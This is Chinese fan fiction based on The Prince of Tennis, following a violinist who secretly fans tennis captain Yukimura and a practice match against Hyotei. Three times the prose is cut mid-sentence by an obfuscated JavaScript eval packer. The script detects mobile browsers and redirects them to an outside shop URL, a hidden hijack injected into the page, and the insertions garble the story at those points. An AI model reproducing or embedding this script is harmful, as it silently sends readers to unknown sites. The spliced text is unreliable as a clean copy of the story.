奉上舒伯特《小夜曲》的独奏哦~ 祝大家都有个好梦。 好梦? 幸村想起来在哪里听过这个曲子了。 这段时间每次午休的时候,附近都有小提琴音传来,就是这个旋律。 嘶,等等。 幸村突然想到了之前在小蓝书上,YUKI曾经给他发过一张照片,照片虽然很糊,但看得出来是他的头顶,还正好是在部活的时候。 所以YUKI也是立海大的学生? 那么,中午在他午休时拉这首曲子的人,难道就是YUKI么? 幸村的双眼微微眯起。 她的小提琴拉的这么好,肯定不是籍籍无名之辈——幸村想到了那位首席小提琴。 他没有动宁梦手中的手机,不动声色地用电脑打开了搜索界面。 关键词:立海大附中、小提琴。 网速很快,他的页面立刻出现了一个名字。 四野松雪。 网页上,清冷疏离的女生冷淡地看着屏幕外的幸村精市。 女生和今天远远看见的首席很像,几乎在瞬间,他就确定这是同一个人。 所以她完全不像小蓝书或者Line上面“啊啊啊啊姐妹幸村好帅啊”的YUKI,但是…… 幸村回忆起了一个关键的证据。 他之前刚加上YUKI的Line时,那转瞬即逝没来得及抓住的线索。 他一直以为YUKI的名字是为了幸村精市而改,但按照YUKI的自述,她认识幸村精市应该是在一年前。 Line上有更完整的时间轴,在很久很久之前,她的名称就是YUKI了。 是的。 YUKI,既可以是幸村精市的“幸”。 也可以是四野松雪的“雪”。 一瞬间,仿佛又回到了安静的礼堂,华丽的乐曲在周围流淌。 幸村觉得自己找到了答案。 7. 奔赴下一颗球 小蓝书—— YUKI:早呀姐妹~ Line—— YUKI:这边也早上好哦! 过了学园祭,松雪的生活又回归成了练琴、刷小蓝书、上课的枯燥循环之中。 哦,不对,还有玩同担推荐的小游戏。 松雪发现“网球对练”这个游戏还有邀请好友进行双人对战模式,她又好几次希望能够邀请同担一起玩,但又觉得“她”似乎很忙,不一定有时间陪自己。 但是但是…… 松雪心想,现在她都单排上荣耀了,怎么说呢,虽然只是赛博云玩家,但她觉得自己在网球这方面已经不是从前的小白了。 与她相比,同担看上去是现实中真的懂网球的那种。 既然没办法在现实中对战,那通过这种方式对战,会不会也能检验出自己的水平呢? 松雪这样期待地想着——虽然最后检测出来的是玩游戏的水平吧。 但她还是纠结,无论如何,她都希望能够和同担一起玩这个游戏。 在松雪纠结的过程中,幸村这边刚结束晨练。 学园祭一结束,他的训练量就恢复了,不过柳一脸忧虑地和他约了今天晚上去“喝茶”,并且说有“要事商谈”,幸村笑眯眯地答应下来,但其实在内心腹诽。 柳的作风非常商务,幸村偶尔会怀疑他是不是真实年龄其实是二、三十岁的人。 总之,现在幸村的晨练刚刚结束,就收到了那边松雪发来的消息。 看着YUKI在两个软件发来的消息,他目光微妙。 四野松雪,立海大附中交响乐团的小提琴首席,以高冷美人著称,只有仰慕者,没有朋友。 但幸村从她给自己发消息的劲头可看不出这些消息。 他眨眨眼,分别在两个软件都回复了她的早安问好。 松雪则在他回复的时候,马上给他转了一条消息。 YUKI:[转发]舅舅党偷跑,消息保真,一小时后删 YUKI:姐妹,看这个! 幸村这边正在前往教学楼,准备早上的课程。 他看见了这极具煽动性的标题,打开了四野首席发来的链接。 标题:舅舅党偷跑,消息保真,一小时后删 内容:本周五晚上七点开始,冰帝学园的网球部会和立海大附中的网球部约训练赛,有感兴趣的姐妹可冲 幸村精市叹为观止。 虽然不知道“舅舅党”是哪号人物,但这消息确实很真。 他早上才从真田那里接到了冰帝的训练赛邀约,没想到转头就被发到了小蓝书上。 网络卡顿了一下,幸村重新刷新帖子,结果已经显示“当前内容无法显示”了,看来一小时之期已到,贴主已经给删掉了。 四野首席真是高强度冲浪,什么都能刷得到啊。 松雪还不知道自己在幸村那里荣获“冲浪达人”称号,兀自兴奋地问他。 YUKI:姐妹,你觉得这是真的还是假的? 同担应该在线,这会儿回消息速度还挺快的。 黑银河:不清楚。 松雪有些失望,但转念一想也是,既然是这么机密的训练赛消息,肯定不会轻易地透露出来——虽然不知道贴主是怎么知道的。 而且,松雪期望这个消息是真的。 YUKI:我希望是真的! YUKI:因为我周五要去一趟冰帝哈哈哈~ YUKI:上周为了准备学园祭的演出,都没时间去看立海大的比赛 YUKI:如果消息是真的,我就能补上啦~ 幸村已经到了教室门口,抬眼一看,就发现对面有个长发女生刚从拐角处转过来。 她手里拿着手机,正认真地看着上面的内容。 ——正是四野松雪。 幸村看着她,如果不是正在和四野首席线上聊天,他看见这个生人勿近的表情,恐怕会以为她在看什么国家大事之类的消息。 松雪感觉到有目光在看着自己,她精准地转头看向了那边—— 糟、糟糕,是幸村精市! 啊不对,为什么会是糟糕,可、可可可可好像、好像是有点糟糕吧! 松雪在脑中飞快地想。 完了,我今早犯懒没有检查领子整不整齐,还有领结呢?领结有没有歪?啊,衬衫掖进校裙的时候,我有没有扯出来一小截把小肚子盖住?还有袜子,我的袜子是两边一样高吗? 但是落在幸村的眼里,此刻和他对视的四野首席,表情依旧冷淡,好像他幸村精市是路边一棵草。 幸村展颜而笑,歪了歪头:“早上好,四野同学。” 我去——————! 另一边的松雪在心里尖叫。 幸村精市跟我说早上好了幸村精市跟我说早上好了幸村精市跟我说早上好了幸村精市跟我说早上好了…… 坏心眼的幸村有些期待她的回应。 于是就看见她抬起手,但只是用修长的手指将耳鬓滑下的一绺头发重新掖回耳朵上。 她手指骨节分明,纤细笔直。 幸村忽然想到自己似乎见过这只手——在小组赛的第一场的球场上。所以她那时候真的过来看他的比赛了,而他还注意到了她,只是当时不知道那是四野松雪,也不知道那是缠着他续了一年多火花的YUKI。 四野首席疏离说道:“早,幸村同学。” 语毕,她毫不留恋地转过身,朝自己的班级走去。 长发的发尾在空中绕了个旋,校服百褶裙也始终是一个得体的幅度。 “真是冷淡啊。”幸村声音低沉几不可闻, 但是幸村的手机响了,嗡嗡嗡嗡嗡嗡嗡嗡,接连不断地响着,直到幸村坐到自己的位置上。 Line上,四野首席打字时的手速惊人。 YUKI:我去姐妹我有没有跟你说过我也是立海大附中二年级的! YUKI:刚刚我去上课的时候看见幸村精市了!是真的幸村精市哦!是本人哦! YUKI:幸村今天真好看啊,立海大的校服终于穿在了最合适的人身上! YUKI:而且你知道吗,他跟我说早上好! YUKI:呜呜呜呜呜呜 YUKI:呜呜呜呜呜呜呜呜呜呜 YUKI:然后我也回了个早上好!! YUKI:呜呜呜呜呜呜呜呜呜! YUKI:呜呜呜呜呜呜呜我圆满了! YUKI:他真好看啊!!! 四野首席在他的Line上呜呜呜,幸村精市的手机在他手上嗡嗡嗡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496736|202548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他前面正在早自习的同学忍不住回头看了一眼:“喂,精市,你手机今天是坏了吗?震动模式还能一直开?” 幸村笑弯了眼,手机还在震动,他似乎忍着笑向前桌道歉。 “不好意思,”幸村声音都带着笑,“我把震动模式关掉。” 前桌:“……”手机震动,有这么好笑吗? 四野松雪也很高兴! 她觉得自己可以一直高兴,直到世界毁灭的那一天! 如果陨石现在撞击地球就好了—— 坐在窗边的松雪看着外面的万里无云的天,思维开始不受控制地发散。 ——那今天就可以作为一个重要的纪念日了。 纪念日的名字是什么呢? 松雪高兴地想,就叫做“幸村精市今天跟我说早上好了”纪念日。 嘻嘻嘻嘻, 而且今天算是双喜临门啊。 松雪看着自己塞在课桌里的邀请函,邀请函的封面是冰帝学园的校徽,下面是交响乐社团的指挥写的字。 “四野松雪阁下, 我部近日拟进行内部演奏分享会,诚邀您作为外部嘉宾,莅临指导点评。” 时间正好是这周五。 松雪一开始还会怀疑所谓“舅舅党”的可信度,万一贴主是起号的呢。 但是她删的真快啊!只有真的消息才会删这么快!松雪笃定地想。 所以,原本松雪是不打算去冰帝的,她周六本来就要去东京上课,周五去了回来、周六还要再去,铁人也经不起这么个造法。 但是既然冰帝的网球部也邀请了立海大,她趁机过去看比赛应该也很正常吧,毕竟这个世界人均网球脑,她一个小提琴选手去看网球又怎么了,也很正常啊。 松雪决定同意这次的邀请,周五可以在东京找个地方借宿一晚,这样次日的课程就不会太赶了。 对幸村而言也算是好事多多,其一是他的训练量恢复了,其二则是四野首席的表现实在有趣。 直到今天放学后,柳站在校门口等他。 幸村带着笑容朝他走过去:“莲二,等很久了么?” 柳低了低头,心中有些情绪百转千回:“没有,我们,去茶室谈吧。” 幸村挑眉,但还是在笑:“这么正式?” 柳笑不出来,想到等等要对部长说的内容,他心头沉重极了。 他和幸村认识很久了,除了弦一郎之外,柳自认为是最了解幸村的人。 他知道幸村的天赋,也知道幸村对网球抱有极大的热忱,比他、比弦一郎都要深。 立海大附中网球部的部长并不好当,尤其是在去年拿下全国大赛金奖的情况下,但是幸村从退部的学长手中接下这一棒之后,他做的很好,比所有人都要好。 柳并不想要做这个“吹哨人”,但是时至如今,他的担忧似乎一点点变成了实际。 如果只是空口无凭的猜测,幸村不会相信,所以网球部的其他任何人都没有资格在幸村面前做这个“吹哨人”。 除了他柳莲二。 因为幸村信任他的数据。 柳背着比往日沉重了许多的书包,走在幸村的身侧。 夕阳拉长了两个人的背影,他们背上的网球球包显得格外大,好像要把少年的脊背压弯。 8. 松雪为此生气 “冰帝学园,对阵,立海大附中!” “比赛开始!” 周五晚上七点,当冰帝学园网球场上哨声吹响时,松雪还坐在冰帝音乐教室的第一排。 冰帝不愧是贵族学校。 松雪羡慕地发现音乐教室居然可以长这样,这可是个圆形阶梯剧场啊。 其实立海大附中的教学资金也很傲人,但即便如此,学校也不会给音乐社团修一座剧场出来做音乐教室。 好强的财力! 在台上的乐队正在准备开始今晚的第五首合奏演出。 这是乐团上半场的最后一首合奏演出,然后就到了中场休息时间,下半场,是钢琴独奏、男高音独唱、合唱部合唱等演出,在这方面会有更专业的人士前来指导,松雪可以借此告辞。 她看了一眼时间,又看向面前的册子。 冰帝交响乐团的最后一首合奏曲目,选择用贝多芬压轴。是路德维希·范·贝多芬的降E大调第三交响曲“英雄”,作品55——松雪心想这太标准且正式了。 她翻了翻面前的音乐会手册,各方面都很规范、正式,和冰帝学园的交响乐团比起来,立海大附中简直就像是闹着玩。 四野首席纤长的手指搁下了手册,坐正了后背,看向舞台上的乐团们。 但是,在松雪眼中,音乐或者严肃、或者轻松、或者激烈、或者柔美,都各有千秋,而音乐会形式上的标准正式,是其中最排不上号的因素。 台上的指挥也看见了观众席四野首席的目光,她目光沉静,好像并未被他们的音乐所打动,怎么会这样呢? 指挥向观众席鞠了个躬,转过身,灯光照射下,额角有汗流出。 他抬起指挥棒,最后一曲开始了。 小提琴,进—— 但小提琴失误了,不知是指挥没有抓住拍子,还是小提琴错失了节奏。 这个失误的空档,让松雪从紧绷的音乐中抽离出来,她下意识又看了眼时间。 难办啊,按照她做的攻略,从音乐教室走到网球场也要半小时左右,还能不能赶上他们比赛呢? …… “仁王雅治、柳生比吕士 7-5 忍足侑士、向日岳人!” 裁判吹了哨子,忍不住擦了擦脸上的汗。 毕竟是去年全国第四和全国第一的比赛,说这场比赛是决赛级都不为过。 裁判看了一眼教练榊太郎,想问是否要给球员们休息的空间,但后者冷漠地看他一眼,只道:“继续。” 裁判懂了,挥了挥旗子,场上的四名运动员带着球拍下了场。 见状,裁判举起了喇叭:“下一场,请迹部景吾选手和幸村精市选手做准备。” 柳看了一眼部长的方向。 自从他周一和部长谈了那一次之后,部长看似并不受影响,但是幸村的训练量却猛然加大。 这当然不是柳的安排,这是部长自己自愿加练的。 他记得幸村的回复。 “莲二,首先要排除不是因为训练不达标导致的波动吧,”幸村没有笑,定定地看着他,“或许是肌肉到达了上限,我再做好训练后的肌肉放松,这段时间加强训练先试试看。” 柳皱着眉:“可是部长,如果真是身体方面的原因,贸然加大训练量只会——” “至少要试试。”幸村道,顿了顿,才又说,“放心,我家给我约了下个月10号的体检,到时候会有个初步的结果。” “但在此之前,先让我排除一下其他原因。” 茶室里,两人面前的春茶氤氲水汽上腾,茶香悠悠,好像不应该出现在这个场合。 视线穿过茶香,柳看见幸村眼中有着他熟悉的倔强。 所以—— 柳在接到冰帝学园的训练赛邀请时,想到或许部长会打算借此试试,才接下了这次邀约。 而正如他所料,幸村毫不犹豫地报了单打的名额。 就连真田对此也很诧异,不必说网球部的其他人了。 冰帝也很重视这次的训练赛,在收到柳寄来的训练赛参加人员名单之后,迹部景吾也被追加其中。 幸村做着热身,和柳莲二对视了。 “不用担心,莲二,”幸村对他笑了笑,“你已经想得很周全了,不会出事的。” ——柳莲二担心幸村真的有身体情况,以“双方部长的数据不应当完全暴露”为由,要求这场单打只进行三局比赛,不计分数。 冰帝学园网球部的榊太郎教练对柳的建议也认真地思考了。 幸村精市能够上场,哪怕只有三局,也足以为他们提供不少数据了,何况他们家的迹部的数据也同样重要。 总体而言,柳的要求很公平,没有任何可以说“不”的余地,因此冰帝欣然答应。 裁判道:“本次单打一号选手无胜负计分,仅进行三局对抗,现在开始!” …… 松雪终于走到了网球场附近,她身后还跟了一个男生,正在向她介绍冰帝学园的情况。 见她溜达到网球场,男生双手插兜,无奈地笑:“啊,没错,网球部也是冰帝学园的招牌之一,毕竟是迹部景吾所在的社团,那家伙可是迹部财团的头号继承人呢。” 看来冰帝学园内部的比赛保密性还是挺强的,场外没有多少人围观,哪怕松雪离得比较远,就看见了球场上的人。 鸢尾色的发丝,还有那条标志性的发带。 “发球方,立海大附中,幸村精市选手!” 松雪远远地站在球场外围的铁丝网边,没有靠近。 球场内的灯光将整个场地照得亮如白昼,两道身影在底线与网前之间来回穿梭,每一次击球的声音都清晰可闻,在夜风中传得很远。 松雪只在赛博网球方面称得上是大师,线下的比赛,她还是第二次看。 但尽管她是半个外行,也能看出幸村的球路有多么刁钻——球的旋转、落点、节奏,每一个细节都像是被精密计算过。 松雪眼睛一眨不眨地看着场内的比赛。 幸村的回球像一张无形的网,层层叠叠地笼罩过去,让对手的每一次回击都显得局促。 但是幸村的对面,那个拥有灰色头发的人,好像也不简单。 他的应对方式令人印象深刻,没有硬碰硬地破解幸村的节奏,而是在每一次接球中寻找破绽,像是猎人耐心地观察猎物,等待一击致命的机会。 这一局打得格外激烈,有的时候速度快得让松雪的眼睛追不上。 比分交替上升。 “30-15!” “40-30!” “40-ALL!” 松雪不自觉地停下脚步,不止松雪,旁边那位莫名其妙陪着松雪逛校园的男生也停了下来。 刚刚喋喋不休一直自顾自地介绍冰帝学园的男生,现在也忍不住专注在比赛中。 两校网球部的部长针锋相对。 场上的两名选手们虽然还沉得住气,但裁判已经有点出汗了。 怎么回事,第一局就这么拼吗?已经到“抢七”了。 “7-5!”裁判擦了擦汗,终于报出了第一局的最终分数,“迹部景吾0-1幸村精市!” “双方交换。” 随着裁判的这句话落地,现场的空气才终于再次流通起来。 迹部和幸村都出了一身的汗,灯光照在他们身上,松雪的眼睛却牢牢地锁定其中的幸村。 汗水在灯光下闪着细碎的亮光。 松雪下意识往球 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496737|202548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场方向走了过去。 那个一直跟着的男生也过去了,有些不太自然地解释:“四野首席,这是迹部景吾的比赛,真是不容易,对方竟然能够1-0从迹部同学的手下拿下一分呢。” 松雪没理他。 后者也不在意松雪的冷漠,反正人尽皆知的,四野松雪是个琴痴,几乎不和人说话,也没什么朋友。 但他觉得那是四野松雪没遇上他。 他是乐团中负责钢琴的演奏者——每一个小提琴手,都无法拒绝钢琴伴奏者,这是小提琴和钢琴天生的宿命。 他觉得他和四野松雪之间也有这样的宿命。 松雪不了解身后的人丰富的内心活动,只是站在球场外面,看向幸村精市。 第二局开始了,幸村的眼睛专注地盯着迹部手中的球,这一局是迹部发球,他的主动性更强一些。 果然,第二局的风向变了。 他的发球开始针对幸村的反手位,落点精准,角度一次比一次刁钻。 球网外的松雪,隐隐察觉到哪里不太对劲。 好像不是技术上的问题,虽然松雪对网球的技术也看不太懂,而是一种玄而又玄的“节奏”问题。 松雪不懂网球,但是对于节奏,她有天生的敏锐度。 她看过很多次幸村比赛的回放,幸村是那种稳扎稳打型的选手,击球和回击都有一种难以言喻的和谐感,这也是松雪在立海大网球部的众多正选之中最喜欢看幸村打球的原因。 ——他有自己的节奏,就像是一个稳定的节拍器一样。 刚才的第一局就是这样,虽然看上去比分焦灼,但是幸村的节奏一直没变过,甚至在丢分的时候,他也是稳扎稳打的,极富掌控感。 但第二局一上来,幸村的节奏乱了。 她听着击球的声音,有种烦躁的不安。 甚至有一球,松雪清楚地看见幸村已经提前移动到了正确的方向,但最后一步的爆发力却慢了半拍,球从拍框旁边擦了过去。 什么情况……? 裁判举起了旗子:“第二局比分6-3,迹部景吾1-1幸村精市。” 第二局比第一局顺畅许多,迹部似乎开始发力了,华丽炫目的球风极其吸睛,就连松雪身后的男生也来了劲。 “不愧是迹部同学啊,”他感叹道,“果然,刚才第一局或许是还没有进入状态才会丢分的吧,这一局就精彩多了,对方似乎招架不住了,或许刚才是运气好?” 他喋喋不休地评价着:“也不过如此啊,这个叫做幸村精市的选手。” “才不是。” 松雪突兀地开口。 男生一愣,没想到被松雪反驳了。 但是没关系,他忽然意识到了关键是什么,于是赶紧找补:“哈哈,也是,体育社团的家伙无论再怎么样,都把输赢放在明面上,说来说去,还是不如音乐——” “住嘴。” 冷冽的女声打断他。 四野首席在今晚第一次回头看了身后的人,但眼神绝对算不上友善。 “你不了解的东西,为什么要妄加评价。”她瞥向他,“既然冰帝学园的格局如此崇高,一点也不在乎输赢,那么今年的全国大赛金奖,依旧由立海大附中交响乐团收下了。” 那男生笑容僵在脸上,因为被四野首席毫不留情的羞辱而红了脸,一直喋喋不休的嘴现在连话也说不利索了:“你、四野首席、你……” 松雪不高兴他无知地评价“幸村精市不过如此”,甚至到了生气的地步。 她想了想,觉得刚才的话还是太过委婉,不够解气,于是追着他杀了一句。 “冰帝学园交响乐团,虽有金玉在外,但也不过尔尔。” 四野松雪首席冷漠道。 9. 第三局的平分 第三局比赛开始了。 在松雪不知道的地方,柳莲二也在眉头紧锁,他作为专业的网球选手,比松雪看到的东西多得多。 首先,松雪捕捉到的那一瞬间“球拍明明过去了,但球却擦框而过”的镜头,在他眼中频频发生。 无论是幸村从迹部手下得分的点,或者是失分点球,几乎总要出现个一次。 但是这也证明了幸村本身的实力有多么强大,在顶尖高手之中,往往一次的失误就决定了胜负,都不必说柳莲二,即便是真田遇上迹部,也无法保证在这么多失误的情况下,还能啃下三分。 场地再次交换。 迹部与幸村擦肩而过的时候,灰发的少年明显有些不愉快。 “我说你啊,幸村部长……”迹部叫住了幸村,皱着眉头,微微昂着下巴,“你既然报了这次训练赛单打的名额,那应该是真心想要和本大爷过过招的。” 幸村停了下来,脸上温和的笑容不变,但眼中却有一丝耐人寻味的光:“迹部部长有什么指教?” “指教谈不上,”迹部稍稍眯了眯眼,但手指点了点自己的下巴,若有所思道,“冰帝学园也很重视这次训练赛,在你们决定部长参赛的时候,性质就已经不同了,本大爷同样重视和你的交手。” “但是你,”迹部语气冷淡,“为什么失误了这么多,是瞧不起我?” 迹部没再听幸村的回答,错身走向了对面半边球场。 幸村站在球网旁边,少年身材挺拔高挑,头顶正好能够与球网平齐。 他看向了场外的柳莲二和真田,正好看见真田正紧紧皱着眉对柳说些什么,向来稳重的真田弦一郎,此刻竟然有几分急切。 幸村一下就猜到了,真田已经发现他的身体有些不对劲。 好在其他人好像还没发现…… 事到如今,他不得不承认柳在周一那天所说的情况真实存在,或许真的是他的身体在不知不觉中出了问题。 体检能提前吗?今天能去吗? 幸村的脑海中一瞬间跑过这样的念头。 他提步朝另一半的球场走去,眼神路过之处,看见了熟悉的立海大附中的校服,是二年级女生款式的。 幸村顺着校服的裙摆向上看,发现了熟悉的脸庞。 四野松雪,她神情还是那么冷淡啊,让他忍不住再次从心底吐槽,这家伙真的是网上那个幸村精市的迷妹吗—— 松雪一怔,毫无预料之中,幸村竟然看见了她! 她也深深地望进了幸村的瞳仁之中。 算上来,这应该只是第三次,她和幸村这样对视。 一次是关东大赛的小组赛,还有一次是周一时幸村和她说了早上好,现在就是正好第三次。 她前两次都因为紧张和害羞,慌慌张张地不知道作何反应,这次她下意识想要说些加油的话。 可是她刚一张嘴,幸村已经别开了眼。 松雪黯然,欲言又止,胸中失落懊恼,她厌恶自己,为什么在这样的时刻,她连加油的话都说不出口。 幸村却注意到她的动作,于是一双眼重新定格在球场旁观赛的松雪身上。 他当然再此与松雪对视了。 毕竟松雪的目光始终注视在他身上,所以只要幸村回头,他就一定能够看见松雪。 于是幸村发现,四野松雪素来冷淡的神色仿佛冰山融化了一角,她正皱眉咬着下唇,不甘心地将手放在了绿色球网上,幸村还记得,她说弹小提琴需要保护好自己的手。 那球场对她而言很危险吧,为什么要把手放上来呢? 松雪再次与他对视,这一遍,她下意识就开口。 “要加油……” 松雪小声地说。 她、她目前还不习惯像午休时看到的那些人一样,大声地为网球部正选们加油,所以她的声音细若蚊蝇。 松雪真的很懊恼,或许她应该再大声一些,这样就能够让幸村更能感受到她支持的心情。 虽然没听见,但是幸村看见了。 他看见了四野松雪红着脸,担忧的目光,两只手紧紧地攥成拳,还有嘴巴里的三个音节。 幸村精市已经见过许多人用这样的姿势为他应援,所以他很熟悉,哪怕听不到,他也能知道松雪说了什么话。 他收回了目光。 下一局,是幸村发球。 击球破空之声再次飞快地响在球场的两边。 幸村或迹部,两人都瞬间感知到了对面的人有多么认真。 一人的击球质量被拉满,另一人的回球也在用最大程度加以旋转。 偏偏两人的速度都未曾降下来。 真田站在球场内,有些发愣地看向幸村奔跑的身影。 “莲二,”真田道,“刚才难道是我的错觉?精市他明明……” 柳也讶异地睁开眼:“部长他怎么突然调整好了状态。” 比他们两个感触更深的,是幸村的对手迹部。 “15-LOVE!” 裁判报出分数,是幸村赢下第一球。 迹部不怒反笑,晃了晃手中的球拍:“没错,既然把名字放上来了,就应该给本大爷打出这种水准的球才对啊,幸村精市。” 但是对于松雪而言,两人的这场比赛她就看不懂更多了。 非要说的话,就只有两个字——刺激! 体育运动是这样的。 她看得眼花缭乱,也更沉浸于每一球之中,裁判不断地报着平分的成绩,谁也没办法拿下第三局。 别说抢七,抢八、抢九的球数都过了。 但场上两人越战越酣,谁都不想被谁压了一头。 直到松雪看见球场旁边的西装男走向裁判,叫停了这场比赛,那是冰帝学园网球部的教练。 柳也看得额头冒汗,再打下去,都快凑满第四局了,是该停下来了。 松雪愣愣地看着这场突然结束的球赛。 幸村和迹部两人走到裁判旁边,然后互相握手。 迹部打得很开心:“幸会了,幸村部长,这次小组赛的签运不好,没抽到立海大。下次在全国大赛见吧。” 幸村握了握拳,手心在不自觉地发抖:“你也是,迹部。” 两校训练赛就此终结。 松雪还能听见自己耳边心脏砰砰跳的声音,好像刚刚在球场上被抽来抽去的不是球,而是她的小心脏。 立海大的众人在收拾球包了,松雪才从比赛中回过神来,她的手从球网上拿下来,掌心已经被不自觉地勒出了痕迹,现在才后知后觉感到痛, 她回头,冰帝学园交响乐团的那个钢琴男不知道什么时候离开了,偌大的球场好像就只剩她自己。 不过没关系,松雪也做好了离开的攻略,说实在的,她真的不太需要刚才那个钢琴男过来给自己引路。 背上琴盒,松雪四下看了看,试图在陌生的校园里确认自己的位置。 不得不说冰帝还是太有钱了,现在时间都快晚上十点了,竟然还亮着路灯,如果是立海大,现在路灯肯定开始变得昏黄,要认清路估计还得好一番找。 不过也多亏了财大气粗的冰帝肯亮路灯,她似乎找到了离开的正确方向。 松雪闷头往疑似出口的方向走去。 “四野同学。” 忽然身后传来声音。 松雪猛地一僵。 幸村精市? 她顿时听出了是谁在她后面。 松雪有些不自然地转过身。 她背后当然不只是幸村精市,还有网球部这次来参加训练赛的正选们。 丸井文太先惊呼出声:“哇!四野松雪!真的是你!” 他蹦蹦跳跳地过来,酒红色眼睛里全是惊喜:“这么晚了居然出现在冰帝,难道你是来看我们比赛的吗?” 丸井歪了歪头,期待松雪的回答。 松雪有些犹豫:“我……” 柳先开口了:“怎么可能这么巧,这次训练赛的保密等级很高的,说不定四野同学是打算转学到冰帝来呢。” 松雪下意识摇了摇头:“没有,是冰帝的交响乐团邀请,我才过来的。” 丸井很失望:“这样啊,我以为四野同学你也喜欢网球呢,好可惜……不过也正常,音乐社团嘛,总感觉跟我们不太一样呢。” 他笑嘻嘻的。 松雪的目光在人群中晃来晃去,就是不敢看向某个正在笑眯眯看着他的人。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496738|202548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 幸村及时道:“四野同学,你要回神奈川吗?可以和我们的车子一起走。” 松雪这才不得不直视幸村,她努力稳住声线:“多谢,但我明天在东京还有课,今晚就不回神奈川了。” 幸村很平静:“这样啊,那没关系,可以跟我们一起出去,冰帝的校园真的很难找路,是吧?” 松雪在他温和的声音中,奇异地放松了下来,听到幸村的主动邀约,下意识松了口气:“好,我正打算出去呢。” 幸村笑着说:“出去吗?那四野同学似乎找错了路哦,出去是走那边。” 他指着相反的方向。 松雪沉默了片刻,被长发挡住的脖颈开始因为自己刚才路痴却自满的样子而害羞发红:“……啊,这样啊。” 幸村没说话,转身对其他人说:“那我们走吧。” 松雪就这么不远不近地跟在网球部正选身后,怎么说呢,她觉得自己像个跟踪狂似的。 网球部正选们倒是依旧活泼,这会儿还在讨论刚才的比赛。 “哎呀,刚才部长打球真是干脆利落,看得我都心惊肉跳的。” “冰帝的部长,嘶,好像是叫迹部景吾吧,他也不容小觑。” “话说回来,中间那一局为什么只有6-3的分数……” 众人路过一个又一个的路灯,松雪离他们大概两三米,低头看着前面的路。 路灯一会儿将她的影子拉长,塞到前面网球部的人中间,一会儿又将他们的影子拉长,包裹在她的旁边。 影子拉拉扯扯,松雪能从中间认出幸村的影子是哪一个。 她下意识跟着幸村的影子走。 松雪都不需要抬头,因为诚实的影子记录下了幸村的所有动作,他似乎在跟旁边的真田讨论着什么,稍过一会儿,又转头对柳说话。 但松雪没有发现,丸井文太一直在频频回头看她。 对他来说,刚才他的比赛已经赢了,其他人的比赛他也复盘不明白,回去等柳军事报答案就行了,现在他果然还是比较关注身后技惊四座的小提琴。 他小声对仁王说:“四野首席真是了不得,你看她刚才跟部长说话的样子,多么有风度,特别冷静,好像我们部长是路边一根草似的。” 仁王也回头看了一眼四野松雪。 后者神色冷淡,偶尔会抬头看看周围,但大多数情况下都略低着头,即便如此,周身仍有着生人勿近的气场。 “确实,”仁王也认同丸井的话,“我们学校别的女生看见部长总是在‘啊啊啊’和‘呜呜呜’的,四野同学的确冷静很多。” 当然,在仁王不知道的地方,四野松雪既会对幸村精市“啊啊啊”,也会对幸村精市“呜呜呜”。 没办法,谁让她是天生冰山脸。 ——其实松雪小时候也是个爱哭爱笑爱闹的普通小朋友,但是后来登台表演的次数多了,无论心里如何紧张、兴奋、懊悔,她都习惯性摆出冰山脸,至少不会让评委因为她的仪态而扣分。 但是时间久了,好像这样的习惯就带到了平常的生活之中。 也因为此,松雪一直没能交上好朋友。 她拿出手机,飞快地拍了一张网球部众人的背影,又私心满满地拍下了自己脚边幸村精市被拉长的影子。 她小心地没踩到他的影子。 然后,把正选们的照片发给了Line上的同担。 “她”今天不能来,但一定也想看到幸村吧。 松雪正在和同担分享自己拍到的照片,但不知怎么的,幸村的影子这张照片,最后犹豫片刻,却没有发过去。 走在前面的幸村手机响了响,正好打断了柳后面的话。 柳也没继续说,只道:“Line吗?没有和伯母说今天可能会晚归?” 幸村摇了摇头:“已经说了。” 他没有把手机拿出来看。 虽然不知道是谁发来的消息,但没有上回神奈川的大巴之前,他都不会拿出手机的。 原因很简单—— 幸村将手插在球衣的口袋里。 他口袋里的手一直在抖。 比赛已经结束快二十分钟了。 但他的手,竟然还在抖。